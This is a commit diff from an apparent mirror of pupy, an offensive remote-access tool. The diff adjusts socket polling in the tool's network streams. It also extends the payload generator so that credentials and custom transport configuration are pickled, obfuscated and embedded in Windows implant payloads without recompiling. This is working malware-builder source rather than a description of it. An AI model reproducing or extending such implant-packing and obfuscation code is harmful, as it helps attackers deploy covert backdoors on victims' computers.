mirror of https://github.com/n1nj4sec/pupy.git
network custom conf are now automatically embedded without the need for recompiling
windows payloads
This commit is contained in:
parent
9a7c2148e1
commit
7510d2f070
|
@ -73,7 +73,7 @@ class PupySocketStream(SocketStream):
|
||||||
self.buf_in.write(BYTES_LITERAL(buf))
|
self.buf_in.write(BYTES_LITERAL(buf))
|
||||||
|
|
||||||
def poll(self, timeout):
|
def poll(self, timeout):
|
||||||
return len(self.upstream)>0 or super(PupySocketStream, self).poll(timeout)
|
return super(PupySocketStream, self).poll(timeout) or len(self.upstream)>0
|
||||||
|
|
||||||
def sock_poll(self, timeout):
|
def sock_poll(self, timeout):
|
||||||
return super(PupySocketStream, self).poll(timeout)
|
return super(PupySocketStream, self).poll(timeout)
|
||||||
|
@ -88,7 +88,7 @@ class PupySocketStream(SocketStream):
|
||||||
if len(self.upstream)>=count:
|
if len(self.upstream)>=count:
|
||||||
return self.upstream.read(count)
|
return self.upstream.read(count)
|
||||||
while len(self.upstream)<count:
|
while len(self.upstream)<count:
|
||||||
if self.sock_poll(0):
|
if self.sock_poll(0.0001):
|
||||||
with self.downstream_lock:
|
with self.downstream_lock:
|
||||||
self._read()
|
self._read()
|
||||||
self.transport.downstream_recv(self.buf_in)
|
self.transport.downstream_recv(self.buf_in)
|
||||||
|
@ -189,10 +189,10 @@ class PupyUDPSocketStream(object):
|
||||||
while len(self.upstream)<count:
|
while len(self.upstream)<count:
|
||||||
if self.client_side:
|
if self.client_side:
|
||||||
with self.downstream_lock:
|
with self.downstream_lock:
|
||||||
if self._poll_read(0):
|
if self._poll_read(0.0001):
|
||||||
self.transport.downstream_recv(self.buf_in)
|
self.transport.downstream_recv(self.buf_in)
|
||||||
#else:
|
else:
|
||||||
# time.sleep(0.01)
|
time.sleep(0.0001)
|
||||||
|
|
||||||
return self.upstream.read(count)
|
return self.upstream.read(count)
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
|
|
|
@ -7,6 +7,7 @@ import logging, argparse, sys, os.path, re, shlex, random, string, zipfile, tarf
|
||||||
from pupylib.utils.network import get_local_ip
|
from pupylib.utils.network import get_local_ip
|
||||||
from pupylib.utils.term import colorize
|
from pupylib.utils.term import colorize
|
||||||
from pupylib.payloads.py_oneliner import serve_payload, pack_py_payload
|
from pupylib.payloads.py_oneliner import serve_payload, pack_py_payload
|
||||||
|
from pupylib.payloads.python_packer import gen_package_pickled_dic
|
||||||
from pupylib.utils.obfuscate import compress_encode_obfs
|
from pupylib.utils.obfuscate import compress_encode_obfs
|
||||||
from network.conf import transports, launchers
|
from network.conf import transports, launchers
|
||||||
from network.lib.base_launcher import LauncherError
|
from network.lib.base_launcher import LauncherError
|
||||||
|
@ -14,6 +15,7 @@ from scriptlets.scriptlets import ScriptletArgumentError
|
||||||
import scriptlets
|
import scriptlets
|
||||||
import cPickle
|
import cPickle
|
||||||
|
|
||||||
|
|
||||||
def get_edit_pupyx86_dll(conf):
|
def get_edit_pupyx86_dll(conf):
|
||||||
return get_edit_binary(os.path.join("payload_templates","pupyx86.dll"), conf)
|
return get_edit_binary(os.path.join("payload_templates","pupyx86.dll"), conf)
|
||||||
|
|
||||||
|
@ -66,6 +68,8 @@ def get_raw_conf(conf, obfuscate=False):
|
||||||
l=launchers[conf['launcher']]()
|
l=launchers[conf['launcher']]()
|
||||||
l.parse_args(conf['launcher_args'])
|
l.parse_args(conf['launcher_args'])
|
||||||
t=transports[l.get_transport()]
|
t=transports[l.get_transport()]
|
||||||
|
|
||||||
|
#pack credentials
|
||||||
creds_src=open("crypto/credentials.py","r").read()
|
creds_src=open("crypto/credentials.py","r").read()
|
||||||
creds={}
|
creds={}
|
||||||
exec creds_src in {}, creds
|
exec creds_src in {}, creds
|
||||||
|
@ -79,6 +83,15 @@ def get_raw_conf(conf, obfuscate=False):
|
||||||
pupy_credentials_mod={"pupy_credentials.py" : cred_src}
|
pupy_credentials_mod={"pupy_credentials.py" : cred_src}
|
||||||
|
|
||||||
new_conf+=compress_encode_obfs("pupyimporter.pupy_add_package(%s)"%repr(cPickle.dumps(pupy_credentials_mod)))+"\n"
|
new_conf+=compress_encode_obfs("pupyimporter.pupy_add_package(%s)"%repr(cPickle.dumps(pupy_credentials_mod)))+"\n"
|
||||||
|
|
||||||
|
#pack custom transport conf:
|
||||||
|
l.get_transport()
|
||||||
|
ROOT=os.path.abspath(os.path.join(os.path.dirname(__file__)))
|
||||||
|
transport_conf_dic=gen_package_pickled_dic(ROOT+os.sep, "network.transports.%s"%l.get_transport())
|
||||||
|
#add custom transport and reload network conf
|
||||||
|
new_conf+=compress_encode_obfs("pupyimporter.pupy_add_package(%s)"%repr(cPickle.dumps(transport_conf_dic)))+"\nimport sys\nsys.modules.pop('network.conf')\nimport network.conf\n"
|
||||||
|
|
||||||
|
|
||||||
new_conf+=obf_func("LAUNCHER=%s"%(repr(conf['launcher'])))+"\n"
|
new_conf+=obf_func("LAUNCHER=%s"%(repr(conf['launcher'])))+"\n"
|
||||||
new_conf+=obf_func("LAUNCHER_ARGS=%s"%(repr(conf['launcher_args'])))+"\n"
|
new_conf+=obf_func("LAUNCHER_ARGS=%s"%(repr(conf['launcher_args'])))+"\n"
|
||||||
new_conf+=offline_script
|
new_conf+=offline_script
|
||||||
|
|
Loading…
Reference in New Issue